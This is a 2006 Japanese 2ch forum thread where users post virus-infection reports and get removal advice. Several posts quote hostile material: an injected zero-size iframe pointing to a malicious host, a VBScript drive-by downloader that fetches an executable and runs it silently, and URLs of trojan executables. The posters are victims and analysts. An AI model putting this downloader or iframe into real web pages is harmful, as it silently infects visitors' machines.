やっぱりKerioだったかぁ。良かったじゃない原因がわかってさ。

ちなみにおれもX-GUARD入れてる。
その理由は現在KIS6.0を使っているのだが以前うｐデートでいきなり落ちてしまい
短時間とはいえFWがなくなってしまうのは怖いので最終防衛ラインの維持の為にいれた。
ルータなしなのでFWがなくなるのは危うすぎる(藁)

195 名前：名無しさん？[sage] 投稿日：2006/12/05(火) 19:52:18 ID:???
クラッキング（ハッキング）されました。。。

どうやら
7walker.com
7walker.net
どちらのサイト共にやられたようです。

階層内もずたずたにされており、
危険なファイルがまぎれている場合があるので、
サイト内にアクセスする場合は気をつけてください。

あとソースチェッカーオンラインですが、
誠に勝手ながら休憩させていただきます。
なお復帰時期は未定です。

＼(^o^)／

【依頼は】鑑定人と雑談 Part81【だめぽ】
http://etc3.2ch.net/test/read.cgi/entrance/1163393226/l50

【使用OS】windowsXP
【WINDOWS　UPDATE】 してる
【ウィルスソフト】 　ウィルスバスター2006
【UPDATE】 　してる
【スキャン】 してる
【症状】 　再起動+再起動realplayer強制起動
【やったこと】 ダウンロードしたファイル内にあったReadmeXE.txtを実行
【とった処置】 トレンドマイクロオンラインでスキャンしても検出反応なし
　
最初に再起動された後は>423のように強制再起動はされません。
これは感染してるんですか？　　

>>470
偽装ファイルだよね？
たぶん感染してると思うから>>28のカスペでスキャン

>>470
WINDOWSフォルダ内に「fromJASRAC.midi」が作成されていれば感染している
(「感染」という表現が正しいのか微妙だが)
とりあえず該当ファイルの削除、それと
レジストリエディタの
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
以下に該当のファイル名のエントリがあったらそれも削除

「fromJASRAC.midi」の再生で青画面再起動がかかるかどうかは環境依存なので
（midに関連付けられた再生アプリ、別途サウンドカード追加しているか等）
「感染」しても再起動ループにならない場合もある

後もしWinnyあたりに手を出しているのならさっさとやめれ

>>471
カスペはおろか現存するセキュリティソフトで対応しているものは無い
スキャンはするだけ無駄
「ReadmeXE.txt」はセキュリティベンダーの定義しているマルウェアの範疇から
微妙にずれているから、これからも対応するか微妙

と思ったらAntiVir対応してるのか

砂箱入れてりゃ無問題

感染元ファイルの実行前に入れていればそりゃそうだろうが…

>>473
対応したのか。
チェックした時、カスペすら検出できなかったんで、一応、トレンドには送っておいたけどね。

ReadmeXE.txt誰かうｐして

>>470
検証するから、うPうP

>>476
対応していたのは
ファイルサイズ 83,456
MD5 745328f81fa7c8c4635df20bcff719e0
拡張子exe及びscrのやつ

ただ「fromJASRAC.midi」自体に対応しているのは、まだDrWebしか無い
青画面midは54〜55バイトくらいで手持ちで数種類あるが
いずれも対応してる模様

まあ本来はMSが対応すべき問題だし

>>479
俺が持ってるのと同じだな。(ReadmeXE.txt)
今チェックしてみたら、

AntiVirFound Trojan/Drop.MID.83456.A
Dr.WebFound Trojan.Crash

だった。
まぁ、俺の場合、登録されてる拡張子は表示しないになってるので、
Readmtxt アプリケーション
になるけどね。

>>470
http://sakuratan.ddo.jp/imgboard/img-box/img20061206050747.jpg

Dr.Web CureIt!
http://drweb.jp/support/?cureit

そもそも二人ともどこからそんなもん手に入れたんだ・・・

初心者で申し訳ありません。
WINXP+SP2 ﾌﾚｯﾂのｾｷｭﾘﾃｨ対策ﾂｰﾙ=VB2006を使用してます。
先輩方のお知恵をお借りしたいのですが・・・
ﾌﾘｰｿﾌﾄをDLし解凍→ﾌｫﾙﾀﾞｰｱｲｺﾝがEXEになってたらしく、それをクリックで
「外部に接続しようとしてるプログラムがあります」の様な文言が出てきて慌ててしまい許可をクリックしてしまいました。
その時取ったﾛｸﾞが下記です。

種類 　　時刻　プロトコル　送信元IPアドレス　送信元ポート　送信先IPアドレス　送信先ポート　アプリケーションパス　アプリケーション　　　名説明
例外設定0:51:04 　TCP　　　YOUR-**********　　2787　　　222.146.51.139　　　　　　25　　　　　C:\マイ ダウ 　　　　　　.EXE　　　　---マスメール送信 (SMTP)

上記な感じでマスメールを送信してしまったっぽいのですが・・・
マスメールとは何なのか・・・送信してしまったメールの内容がなんだったのか・・・
気になってしまい眠れません。
どなたか御教授お願いします。

だからなんでそのフリーソフトの名前を書かないんだよ
書けない理由でもあんのかよ

>>483
せっかく書いたのにマルチかよっ…………。
http://pc8.2ch.net/test/read.cgi/sec/1163437035/557

【使用OS】　WINXP Home SP2
【WINDOWS　UPDATE】　自動更新。現在最新
【ウィルスソフト】　Norton Internet Security2006
【UPDATE】　自動更新。現在最新
【スキャン】　Nortonでスキャン→ウイルスなし
カスペのオンラインスキャン→rundll.exeがTrojan-Spy.Win32.Delf.tt

【症状】 システムの復元が不可
シマンテックの検体提出ページにアクセス不可（俺だけ？）
バスターのオンラインスキャンアクセス不可

【やったこと】 【とった処置】
scrファイルふむ→ケーブル引っこ抜き
scrファイルを別PCのバスターでスキャンするとTSPY_DELF.DNOと表示されました。

>>486
ああ　そうですか

>>486
感染ｵﾒ

助けてください。

>>489
ノートン投げ捨てて各社体験版で駆除

>>489
大至急KISを買ってきて駆除すればいい

>>486
とりあえず Bit Defender いれてスキャンやってみ、
非常駐型だからノートン入っていても競合起こさないから。
それで駆除できなければ、一度ノートン削除して、
>>490が言うように他社のやつ入れればいい。

>>490
>>491
>>492
ありがとうございます。
試してみます。

test

zipファイルにantinyが検出されたんですが
解凍してファイルが例えば6個出てきたとして
感染ファイルを実行しなければ
他のファイルは普通に使用してOKなんでしょうか？

>>495
開いた途端に感染だよ
巣に帰れ、ﾀﾞｳｿ厨

>>495
ウィルスが検出されてもなお解凍して見たいものってのは一体何なんだ？

駆除できたと思っても、再復活するウイルスもあるので、
誰も絶対安全かどうかの保証はしてくれない。

どのようなルートで所有したのかは別に興味はないが、
すべて「自己責任」でどうぞ

アルバムのmp3でした
解答thx

【使用OS】 WIN 2000 SP4
【WINDOWS　UPDATE】 してます
【ウィルスソフト】 Error Doctor 2007
【UPDATE】 してます
【スキャン】 27個のリスクが見つかり、「Remove」というボタンを押すと製品の購入ページに接続する。
【症状】 海外のエロサイト見ていて、バナーをクリックしたら出てきた。
【やったこと】 騙されてインストール
【とった処置】 今はへこんでいます。

>>471>>472>>481
レスありがとうございます。
Dr.Web CureIt!でスキャンしたらfromJASRAC.midiが検出されました。
↑のファイル削除したんですが、これで正常（？）になったことになるんですか？
>>478
うｐ仕方わからないので…

>>500
＞【ウィルスソフト】 Error Doctor 2007
＞【やったこと】 騙されてインストール
お茶ふいたw

>>500
http://cowscorpion.com/Software/secu02s2.html
とりあえず、上記のURLから「spybot」と「ad-aware」を最低限ダウンロードして、
インスト、実行。

あとは、ウイルスのオンラインスキャンもしてみてチェック。

上のサイトには、無料のウイルス対策ソフトや　ファイアーウォールもあるので、好みに応じどうぞ。
エロサイトからダウンロードできるものよりは、はるかに信頼できますから

>>501
ttp://viploader.net/

うPろだを使うといいよ

>>500

肝心な事を忘れていたわ。
その誘致ウイルスソフト「Error Doctor 2007」も削除しておいた方がいいね。

うpらなくていいです。

【やったこと】
【とった処置】

たいていどこのトラブルスレにもある項目。
で、大方の人の行動は　　「状況をさらに悪化させた」　の一言に尽きる。

【やったこと】オナニー
【とった処置】ティッシュで処理

TROJ_DYFICA.AW
このウイルスに感染してしまったのですがどうしたらよいでしょうか？
セキュリティソフトは入れてません。
今panda active scanの無料スキャン＆駆除でスキャン中です。
どなたかマジレスお願いします（泣）

>>509
>>500

942 名前：名無しさん＠お腹いっぱい。　[]　投稿日：2006/12/07(木) 00:37:48 　　　New!!
TROJ_DYFICA.AW
このウイルスに感染してしまったのですがどうしたらよいでしょうか？
セキュリティソフトは入れてません。
今panda active scanの無料スキャン＆駆除でスキャン中です。
どなたかマジレスお願いします（泣）


マルチ乙！！

>>490
>>491
>>492
ありがとうございました。

まずbitdefenderインスコ→検知しない。
ノートン、bitdefenderをアンインスコしてKISお試し版で削除できました。

>>512
ノートンで反応無しでKISお試し版で駆除か
なんだかなぁw

普通だろ
ノートンの糞検出率はテストで立証済み

http://up.spawn.jp/file/up56578.swf.html

これいかにも怪しいんだけど、どんな動きするの?
Upack ttp://baidu.chinacainiao.org/ddos.exe
UPX ttp://baidu.chinacainiao.org/setup.exe

二つ目は知らんけど、一つ目はDDoSってなってんじゃん

ファイル名で判断しない人希望

>>516
上　Win32:Hupigon-FB [Trj]
下　Win32:Hupigon-XI [Trj]

それでも実行してほしければここにでも持ってけ
ttp://pc8.2ch.net/test/read.cgi/sec/1140517079/

NODさんが上に反応してくれない

>>520

http://up.spawn.jp/file/up56591.gif.html

実行すれば反応するかもしれないけど実行する勇気はない

【使用OS】 WIN xpSP2
　　　　　ブラウザ：IE
【WINDOWS　UPDATE】 してます
【ウィルスソフト】 NIS・Ad-aware
【UPDATE】 してます
【スキャン】 keyなんたらハイジャッカー？を２個発見。
【症状】 googleキャッシュで円光サイト見たせい？
以前もそこを見たときは無反応だったんだが。
【やったこと】Ad-awareで削除。
【とった処置】Ad-awareで削除。
セキュリティ高・クッキーオフでも、スパイウェアってかかるんですか？
おんなのはじめてです。

>>519
Kasperskyから返事あり。バックドアでした。

>おんなのはじめてです。
(*゜ー゜)

>>523
セキュリティインスペクタ機能で
ブラウザ設定のセキュリティホールを確認。
もっと勉強しろ。

>>526
�d。
問題点は、ユーザーパスワードが脆弱のみ。

しかし、本当にスパイウェアなら、NIS（常駐）が無反応ってなんなのさ。
ノートントラップにはひっかかるわ、安全なメールをスパム扱いするくせに、
ヘンな添付メールは直通だし、役立たず。

>>523
Nortonがスパイウェアに対応したのは2006から
とくに海外フリーソフトのダウンロード時なんかいつもより気をつけるべし。
ブツが特定できたらシマンテックに送りつけといてやれ。

■ウイルス感染の疑いがあるファイルをSymantec Security Responseに提出する方法
http://service1.symantec.com/SUPPORT/INTER/entsecurityjapanesekb.nsf/jp_docid/20020624043939949

>>528
見れないんですが・・

>>525
　　　　　　　　-――‐- ､
　 　 　 　 ／ 　　　　　　　ヽ　　　♪ じゃあ、
　　　 　 /　ヽ_乂_乂_乂丿　l　　　　　　今夜は
　　　 　 |　　　∩ 　 　∩ 　 |　　　　お赤飯だね　♪
　　　　　| 　 　∪　 　 ∪　　|
　　　　／　　　　　　　　　　　｀ヽ
　　　/　 r―０――――――┐丶
　 　 | 　 |＿＿＿0＿＿o＿＿,!　 l
　　　ﾞ､　 l　　　　　　　　　　　/　ノ
　　　 ヽ、ヽ､――０-⊂二二ﾆ⊃
　　　　　>-‐(⌒)=＝ |　　　　 　 |
　　　　 （＿ノ￣ ￣ 　＼＿_ (⌒)
　　　　　　/　　　　　 　 └┬'￣
　　　　　 /　＿＿＿＿_ 　⊥-‐(∬∫) ､
　,,,-―''^￣　　　　　　　 （　　(∫∬∬)　）￣｀ｰ-､
　　 　 　 　 　 　　　　　　 ｀ｰ-ニ二ニ-‐'

>>523　>>529
検体提出ページ工事中なんだってさ・・・
スマンテック○|￣|＿

>>531
> 検体提出ページ
この URI じゃダメかな('A`)
多分英語じゃないと受け付けてくれないけど……
ttps://submit.symantec.com/websubmit/retail.cgi

>>528
NIS2006なんですが・・・。

>>533
これ以上526を虐めるんじゃない

>>532
遠距離なんで、TTL値を目一杯上げて（265）Zipの状態でPass記入して送信してみたけど
成功しなかった。。。

>>535
>>532っす。こっちの環境では送信は可能だった（受信通知もきた）から機能的には問題ないっぽい
しかし結構重かった('A`)あと、

> Zipの状態でPass記入して

とあるので、もしかして zip にﾊﾟｽﾜｰﾄﾞかけたのかな
「should not be password-protected」らしいのでパス無しで平気だよ　勘違いだたらｽﾏｿ

>>536
「should not be password-protected」見逃してたよ。
感染してないんで、とくに送るものが手元に無かったんだ。
みんなもっとスマンテックにクレーム出した方がいいよ。オンラインサポートフォームに箇条書きででもいいし。
続きは本スレで。。。

win2000でお勧めのセキュリティソフトは何でしょう？
ノートンの新しいやつはXPでないと無理だし…

>>538
KasperskyかNOD32。
両方とも試用版があるんで使ってみるといいよ。

【使用OS】 windowsXP home edition sp1
【WINDOWS　UPDATE】してない
【ウィルスソフト】 ウィルスバスター2007
【UPDATE】 してる
【スキャン】 した
【症状】 ローカルエリア内のhtmlファイル全てに
　　　　　＜ｉｆｒａｍｅ　ｓｒｃ＝どっかのＵＲＬ＞＜／ｉｆｒａｍｅ＞
　　　　　っていうインラインフレームのタグが追加されて書き換えられてた
【やったこと】ネットサーフィン
【とった処置】 ウィルスファイルの削除とインラインフレームの記述を削除

最初、インラインフレームに気付かなくて、ウィルスファイルを削除した後
ローカルにあったｈｔｍｌファイルを開いたら、またウィルスを読み込んだ。
ファイル置換ソフトを使ったんで、ｈｔｍｌファイルを修正するのは
楽だったけど、手間には変わりないんで、今ネット巡るのがちょっと怖い。

>>540
>【使用OS】 windowsXP home edition sp1

どうせなら無印XP使え

【使用OS】 Windows2000
【WINDOWS　UPDATE】 全て済み
【ウィルスソフト】 AVG Free
【UPDATE】 頻繁にしてる
【スキャン】 「AVG」 「Ad-Aware SE Personal」 「Spy-Bot」 「Windows Live Safety Center Beta」の４つをして、発見されたのは全て消した。
【症状】 勝手にIEが立ち上がり、「http://pop.9v.cn/code/showpop.asp」が開く。
「http://bst96.com/」の時もマレにあり。
勝手にアクティブなウィンドウが変わる。（裏にあった窓やアプリにアクティブが行く）
【やったこと】 PCゲーム「Ultima」の攻略記事を探し、海外サイトをあちこち見たので、その時かと・・・。
【とった処置】 「AVG」 「Ad-Aware SE Personal」 「Spy-Bot」 「Windows Live Safety Center Beta」でスキャンし、発見されたものは全て消しました。
Ad-Awareで２つ発見、その後同じくAd-Awareをセーフモードでかけて６つ発見。
Windows Live Safety Center Betaでは16箇所の問題が出たけど、重要な修正が必要なのは１つと出て、その１つは削除された模様。

それでも相変わらず2種類のURLのIEが勝手に開きます・・・。
ウィンドウのアクティブもちょこちょこと変わる・・・。
スパイウェアなのかウィルスなのか、なんなんでしょう？

テンプレ
【使用OS】XP
【WINDOWS　UPDATE】済み。
【ウィルスソフト】norton AntiVirus
【UPDATE】してあった。12/5>12/7に手動でupdate
【スキャン】Nrton AntiVirusで完全スキャン
【症状】多分なし(分かりません)

今日、Norton AntiVirusで完全スキャンをしたらwrar330ja.exeがW32.fujack.Aに
感染していると出ました。
で、wrar330ja.exeだけをスキャンしたらやはり感染してるとなりました。

一応、定義ファイルの最新版を入れてもう一回スキャンしようと思って手動で定義ファイル
をダウンロード、インストールしました。
で、もう一度スキャンしたら感染してるというのが出なくなりました・・・。

これは・・・Norton AntiVirus誤作動と考えてよいのでしょうか。

1000BASEのLANを組んでセキュリティソフトを動かしてるときと動かしてないとき
のLAN内の速度差があんまり激しくないソフトはありますか？

Windows XP起動直後、スタートアップから
mod_v15mウィルス感染警告二時間感染防止のため30分後シャットダウンします
とshutdown.exeが実行され、IEで悪名名高いウィルスソフト
http://jp.winantivirus.com/download/2006/index.php?aid=swp_wa6p_ed1&lid=3249&affid=pp_3142381851&ex=1&ax=0
(このURL開くとスパムしつこいから注意)
に飛ばされるんだけどこれって社員かｱﾌｨﾘｴｲﾀｰの工作かね？今のとこｳｨﾙｽ、ｽﾊﾟｲｳｪｱとして
検出されないしｼﾞｮｰｸｿﾌﾄっぽいんだけど、、情報もってる人いない？

ちなみに出始めた原因は間違って.exe実行したってのは解ってる。
あとshutdown -a で中断しても今の所問題ない。

オレも>>441の3つが摘出されたんだが、>>443のサイトにある解決策通りいかないので助けてほしい。

例えばBKDR_HUPIGON.GEN についていうと、
>>441のttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=BKDR%5FHUPIGON%2EGEN&VSect=T
にある対処方法にあるレジストキーの最後mchInjDrvが存在しない。

他のBKDR_HUPIGON.AHP、BKDR_GRAYBIRD.GRも同様に最後のフォルダ場所が存在してないのだが、
この場合どうすればいいのだろうか？
（HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\までは到達する）


どなたかアドバイス求む。

>>545
何を実行したか書けよ。

>>540
似たようなのにやられたよー。
いろいろあってC:\WINDOWS\Prefetchフォルダを監視してたら
IEのコンテキストメニューを使うたびにDr.WEB CureIt!で削除したはずの
ウィルスが復活するからから気づいた。

感染している.htm及び.htmlにアクセスするとTrojan.DownLoader.15621を
勝手にダウンロードして実行してる。

.htm及び.htmlのソースに追加されたiframeタグはコレ(http抜いた。踏むなよ？)
<iframe src="://97754866.ee28.cn/htm/" width="0" height="0" scrolling="no" frameborder="0"></iframe>

HDDの全部の.htmlと.htmに感染しているみたいだから
こっちも一大捜索中だー。マジ勘弁。

>>546
BKDR_HUPIGON.GEN は、総称なんで、後回し。

BKDR_HUPIGON.AHP が作成したファイルは BKDR_GRAYBIRD.GR として検出される。
BKDR_GRAYBIRD.GR が作成したファイルは BKDR_HUPIGON.AHP として検出される。

と書いてある。要は、

G_Server.DLL
G_Server.exe
Audio.exe
Audio_hook.dll

が Windows フォルダに無いかチェックする。そして、BKDR_HUPIGON.AHP / BKDR_GRAYBIRD.GR の対策方でレジストリを削除する。
思うに、これらのファイルが存在するが、実行はされてないと思うんだが……。

>>547
プログラムです。恐らく個人ユーザーが作成したもの(.exe)
ていうか製品だったら鼻っから販売元問い合わせると思うのだが。。

うｐろうとおもったんだけどファイル自体消しちゃって無いぽ。。

>>550
どこでそのexeは手に入れたの？

>>551
Winnyです。

>>552
（；＾ω＾）

>>552
一応訊いてみるけど、合法ｽﾚの住人？
違うならｽﾙｰで構わない

つか >>545 でﾔﾊﾞい URL だと分かってるなら、ttp から書いたほうがいいとおもうんだ('A`)

>>554
いやどこの住人でもない、2ch自体はそれ程見ません。
ただ"mod_v15m"ってｳｨﾙｽ自体情報が無いみたいでここなら一度は上がってるかと
思って、ちょっと気になったので。まぁ前例が無いみたいなので
情報求めてる人間からすればこれで終わりかな。

URLは書いてから気づいたよ。ｽﾏｿ

>>555
リカバリ。
P2Pソフト使うなら自己責任。
ｳｲﾙｽに感染しても勿論自己責任。
ｱﾝﾁｳｲﾙｽは入れてる？

>>556
助言ｻﾝｸｽ。でも対処法でﾘｶﾊﾞﾘはもう視野にいれてる。
ただこれがｼﾞｮｰｸｿﾌﾄなのか本物なのかの情報が必要だった。
とりあえず一応ｽｷｬﾝしたのは
Ad-aware、Spybot、ﾉｰﾄﾝ、ｳｨﾙｽﾊﾞｽﾀｰ(ｵﾝﾗｲﾝ)、ﾄﾚﾝﾄﾞﾏｲｸﾛｽｷｬﾝ(ｵﾝﾗｲﾝ)
んで何れも何もひっかからない。

要は気になるならﾘｶﾊﾞﾘ、高をくくるならそのまま。

http://d.hatena.ne.jp/maple_magician/20061011/1160574881
にある様に"ウィルス対策メーカー各社の命名規則に合致しない"
とあるのでちょっと悩んでたってとこです。

セキュリティベンダーにファイル送って解析してもらえ
そして巣に帰れ

みなさん　バーチャルマシンを使いましょう
あと、イメージバックアップもね

バーチャンのマシンは今使っています

新種のドクロウイルスにかかりました
詳細はhttp://pc7.2ch.net/test/read.cgi/pc/1062738190/
uidate.exeが怪しいっぽいけど操作できない；；

家族のパソコンです。普段自分は全く触っていないので曖昧な点があります。申し訳ありません。
【使用OS】 WindowsXP Home Edition
【WINDOWS　UPDATE】 かなり長い間(半年〜数年レベル)でやっていないと思います。
【ウィルスソフト】 Norton2004
【UPDATE】 完全に期限切れです。
【スキャン】 すぐに再起動されるのでスキャンできない状態です。
【症状】 パソコンのシャットダウンができず、再起動される。
操作中突然再起動される。インターネット接続中は大量のメール送信が行われ、
そのためのﾉｰﾄﾝのｽｷｬﾝの重さでパソコンが固まる。
【やったこと】 Blasterではなかったので、Sasserかなと思いましたが、
終了カウントダウンのダイアログの表示はありません。
また、HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
のレジストリの値を見ても、"avserve.exe"などが見つかりませんでした。
現在セーフモードで起動中です。
【とった処置】 ファイアーウォールの設定をonにしました。

アップデートが完全に放置されていたりと酷いマシンですが、
どなたかご教授頂けたら嬉しいです。よろしくお願いします。

とりあえず、メールの大量送信を止める方法だけでも
教えていただけたら助かります。本当によろしくお願いします。

オンラインスキャン

>>562
つttp://www.microsoft.com/security/controls/Sasser/20/SassCln.CAB

回答ありがとうございます。
でも、インターネットに接続すると、メールの大量送信が始まってしまうために、
パソコンが固まってしまうんです…。
無知で対策が浮かばないので、すみません…。

>565
ありがとうございます。
ウィルスが確定してないのに、駆除ファイルをあてても大丈夫なんですか？

>>566
SafeModeで起動して手動で削除か
ﾀｽｸﾏﾈｰｼﾞｬで止めてみても
再送信するの？
止まるならその時点でｽｷｬﾝ

>>567
あっても違うなら薬にも毒にもならない

すみません、何を削除あるいは止めればいいのでしょうか？

>>570
ﾒｰﾙ送信で止まるんならMailerを止める
ﾉｰﾄﾝなら最新ﾌｧｲﾙをDLして手動であてて
ｽｷｬﾝする
削除はあきらかにおかしいもの、わからないなら
確定してからのこと

何度もすみません。
メールソフトは起動されていない状態なのですが、
何かを止めればメール送信が止まるということですか？
ﾉｰﾄﾝは、上記の通り、期限切れのため最新ファイルのDLができません…。

>>572
大量送信は何がしている？不明なら
25番ポートブロック
メールサーバを経由せず、直接迷惑メールを送信する際のメール送信経路
(アウトバウンド25番ポート)をブロック
送信ドメイン削除等を試すといい

定義ファイル　つttp://www.symantec.com/region/jp/avcenter/defs.download.html

>>562
ルータ&アンチウイルスソフトを買ってくる
↓
リカバリ
↓
アンチウイルスのインストール
↓
WinUpdate

>548
うちのはURLの数字が　81931053　だった。あとはタグの記述同じ。
これどっかに報告した方がいいのかな。

ファイルの修正は、ベクターで落としたＴｅｘｔＳＳっていうフリーソフトを使ったよ。
ｈｔｍｌファイルを全部リストアップして置換できる。便利だった。

>>540
http://bbs.higaitaisaku.com/cbbs.cgi?mode=al2&namber=85118&no=0&KLOG=6
似たような事例

>>575
感染元はどこ？

>>548
これ解析したんだけど、2つ飛んだ先に細工されたVBScriptがある。
でActiveX使ってウイルス実行させてるんだけど、同じコードで実行ファイル変えて試したんだけど、動かなかった。

ウイルス自体は、大抵のアンチウイルスソフトで検出できるけど、実行されてしまうなら、リアルタイム検索が動いてないか、
もしくは、IEのセキュリティホールになるな。
コードはこんな感じ。もちろん、細工されて英数字になってるが。

<スクリプト language="VBScript">
on error resume next

Set xxxxxxxx = document.createElement("object")
xxxxxxxx.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"

Set xxxxxx = xxxxxxxx.CreateObject("Microsoft.XMLHTTP","")
set xxxx = xxxxxxxx.createobject("Adodb.Stream","")
xxxx.type = 1

xxxxxx.Open "get", "http://hoge/hoge.exe", False　　　　←ウイルス
xxxxxx.Send
xxxxxxx = "mdb.exe"

set xxxxx = xxxxxxxx.createobject("Scripting.FileSystemObject","")
set tmp = xxxxx.GetSpecialFolder(2)　　　　　　　　　　　　　　←テンポラリフォルダ
xxxxxxx = xxxxx.BuildPath(tmp,xxxxxxx)
xxxx.open
xxxx.write xxxxxx.responseBody
xxxx.savetofile xxxxxxx,2
xxxx.close
set qqq = xxxxxxxx.createobject("Shell.Application","")
qqq.ShellExecute xxxxxxx,"","","open",0
</スクリプト>

>>562
つづきはノートンスレで
【ﾉｰﾄﾝ】ｲﾝﾀｰﾈｯﾄｾｷｭﾘﾃｨ Ver.101【2007】
http://pc8.2ch.net/test/read.cgi/sec/1165118304/

【使用OS】 WindowsXP Pro SP2
【WINDOWS　UPDATE】 最新のはず
【ウィルスソフト】 Norton2007
【UPDATE】 最新
【スキャン】 検出しないorz
【症状】 自分で認識できる範囲では、OS起動後スクリーン真ん中にドクロマークが出て不具合が出るなど
ドクロマークはalt+f4で脱出可能、その後アプリ、コントロールパネル、レジストリがいじれない
流出系なのか破壊系なのかどういうことをするのか詳しい情報は調べても皆無。
【やったこと】 セーフモードで立ち上げてみてそれらしいファイル、自動起動を見てもなかった。
ググってみても今年10月前後辺りからの情報しかない、しかも感染したHP、Blogの管理人や
2chの住人全員がクリーンインストール、もしくは放置している、自力でウイルスだけ退治した人はまだ誰もいませんorz
情報ではノートン、アンチウイルス、マカフィーの大御所もすべて敗北。どうやらシステムが書き換えられているらしい？という話です。
【とった処置】
お手上げなので、第三者に被害が行かないように感染したPCは電源切っています。

>>580
■ウイルス感染の疑いがあるファイルをSymantec Security Responseに提出する方法
http://service1.symantec.com/SUPPORT/INTER/navjapanesekb.nsf/0a56418557b1ba9985256b03006ba774/533c441e2619a0b449256b5e0023af53
■スキャンと配信ウィザードを使用して Symantec Security Response に疑わしいファイルを提出する方法
http://service1.symantec.com/support/INTER/navjapanesekb.nsf/b0dbf49e05cc8def88256db3005f48d0/81045188a541010788256b0600061882

>>580
それマジ・・？

>577
すまん。感染元は分からない。
今自分が興味ある事のウェブリングやサーチから適当に飛んでは
チラ見してウィンドウを閉じたり、すぐ次に移動したりしてるんで。
多分、そこら辺だと思うんだけど。

今日も恐る恐るサイト巡りしてて、ウィルスアラートは無かったけど
気になって手動検索したら２個見つかったよ。
VBS_SMALL.DOO　っての。
リアルタイム検索はオンになってるのに。
ウィルスバスターのサイトでウィルス情報見たけど、セキュリティホールは
関係ないみたいなこと書いてあった。信用していいのかな？

自分もサイト運営してるんで、トップページにウィルスに感染した事と
ウィルスチェックのお願いを書いておいた。

ちなみにサイト上にウィルスに書き換えられたファイルは無し。ウィルスも検出されず。
自分のサイトが感染源になってる事は無いと思うけど不安だ。

要注意
ドクロウイルス（タイムボカン）−修復・リカバリ不能凶悪ウイルス
ウィルスに感染して(´･ω･`)ショボボーン
http://pc7.2ch.net/test/read.cgi/pc/1062738190/

実行ファイルは.jpg偽装

NOD32　ヒューリスティックで反応
http://up2.viploader.net/pic/src/viploader367894.jpg

>>584
俺もそれなった('A`)
そこでウイルス晒してるな、解析できる神の降臨を待つか・・

>>586
ノー�dスレにての情報
だれかが検体をSymantecに送ったようだ
摘出できたやつがいるらしい

>>584
回復コンソールで立ち上げてc:\windows\system32\kernel32.dllを修復、
c:\windows\system32\uidate.exeを削除して、ログオフしてセーフモードで
再起動してシステムの復元を行って感染前の日付を復元。

>>616
■スキャンと配信ウィザードを使用して Symantec Security Response に疑わしいファイルを提出する方法
http://service1.symantec.com/support/INTER/navjapanesekb.nsf/b0dbf49e05cc8def88256db3005f48d0/81045188a541010788256b0600061882

セキュリティ履歴＞右上の「項目を検疫に追加」でファイル指定（「ディスクからファイルを削除」にチェック入れる）
＞表示の選択ドロップダウンリストで「検疫」を選択
＞検疫項目をポイントして、右下の「詳細」をクリック
＞「シマンテック社に提出」をクリック
＞ウイルスサンプル提出完了（提出完了後、履歴からは削除すればいい）

>>588
システムの復元オフにしてた奴は
実質回復不能なのか？

>>588
レジストリもぐちゃぐちゃになってるっぽいな

>>590
hijackthisというソフト使ってuidate.exeの文字列を含むエントリーを削除だろうな。

誤爆スマンテック
○|￣|＿

blogでドクロマークの画像見つけたけど、いかにも・・だなｗｗｗ
ttp://tatooari.blog71.fc2.com/index.php?q=%A5%A6%A5%A4%A5%EB%A5%B9

>>594
すごいな
俺もここ一週間ばかりいろいろ情報調べてみたけど
なかなか該当のものが見つからなくて・・
ほとんどの情報が別物のドクロウイルス関係だったから

（話題の？）ドクロウイルスって奴、
感染して起動すると、デスクトップが表示される前にドクロが出現するというのは
わかったんだけどね。
起動して、どこまで正常に立ち上がって、どこでドクロが出現するのかが、
一応知りたいんだけどな。

ログイン画面の時だよ、ログイン関係がおかしいのかな？と思って
LogonUIなどでログイン画面を変えたりいじってたら
再起動した時にドクロ画面が出なかった事がある、・・でも再起動はしたけどね

今、感染中。

Alt+F4連打で一応脱出。無理やりIEは開けれるけど、ソフトの起動不可。

正常に終了や再起動ができないから、起動ボタン長押しでON/OFFしてる状態です。

これの正体ってまだ誰もわかってないの？
他人に攻撃するための土台にされたらたまらんのですが

文章変になったけど前半の再起動はリセットボタン
後半の再起動はウイルスによる強制再起動の事ね
アプリはほとんどダメだけど漏れの場合いくつか動くけどなぁ

>597
ログイン画面の時というと、winlogon.exeかuserinit.exeが読み込まれるとこ？

>>601
多分そのへんのタイミング

インスコマンコが感染実験しようとしたがランタイムエラー
http://pc8.2ch.net/test/read.cgi/sec/1140517079/

どうにかならんの？
感染ファイルのはずなんだが

>602
つまり、「ようこそ」っていう画面のところだな。
なんとかして、レジストリエディタ開くこと出来ない？

ようこその前かな

微妙な所だ、こっちはようこそ画面が一瞬も写らないうちに
ドクロマークが出るな

BIOSもやられているのなら、どうしようもないが
HD外付けで何とかできないか？

「ようこそ」の前に読みこまれるプロセスってなんだろうな…
たくさんあるし、見分けるのも偉く大変だし。

PC起動→Windows XPのロゴが出る→「ようこそ」が出る前にドクロ

ようこそ画面がドクロになってるだけだったりしてｗ

>>608
お詳しいようですね。
リカバリができない俺にとっては大きな存在だよ(´・ω・`)

>>604
レジストリもソフトの起動もできない('A`)

>610
リカバリできない？
リカバリディスク持ってないの？

>611
んー、ソフトを起動するときになんかのエラーメッセージが出てきて、起動できないとか？

ｘｐの裏技でなんかあったような

ようこそ前にプロンプトだす方法
でもメーカー限定だったような

>>612
ディスクはあるけど、無知なだけだよ。

>615
リカバリディスクがあるんならできるんじゃないか？
取扱説明書の「リカバリ（PCを購入状態を戻す）」か、「再セットアップ」っていうページを
良く読んでやってみ。

>>616
感染してから2日目。丸一日説明書やサイトと格闘したけど
いまいちピンとこなかったんだよ(´・ω・`)

また明日頑張ります。ありがとう。

>617
リカバリに自信が無ければ、購入したお店に持っていって、
店員さんにリカバリ頼んでみるのも有りだと思うぜ。
無論、お金は取られるから、見積もりは取ってもらったほうがいいよ。

ってか今時ドクロとかｗｗ作った奴センス最悪だなｗｗｗｗ

KNOPPIXから起動して復帰とかは？
作ってないか…

直った香具師の報告ﾏﾀﾞ━━━━━━(ﾟ∀ﾟ)━━━━━━??

http://www.higaitaisaku.com
で質問すれば何かわかるかも

このドクロウイルス、ソフトの実行を妨げるというのだが、
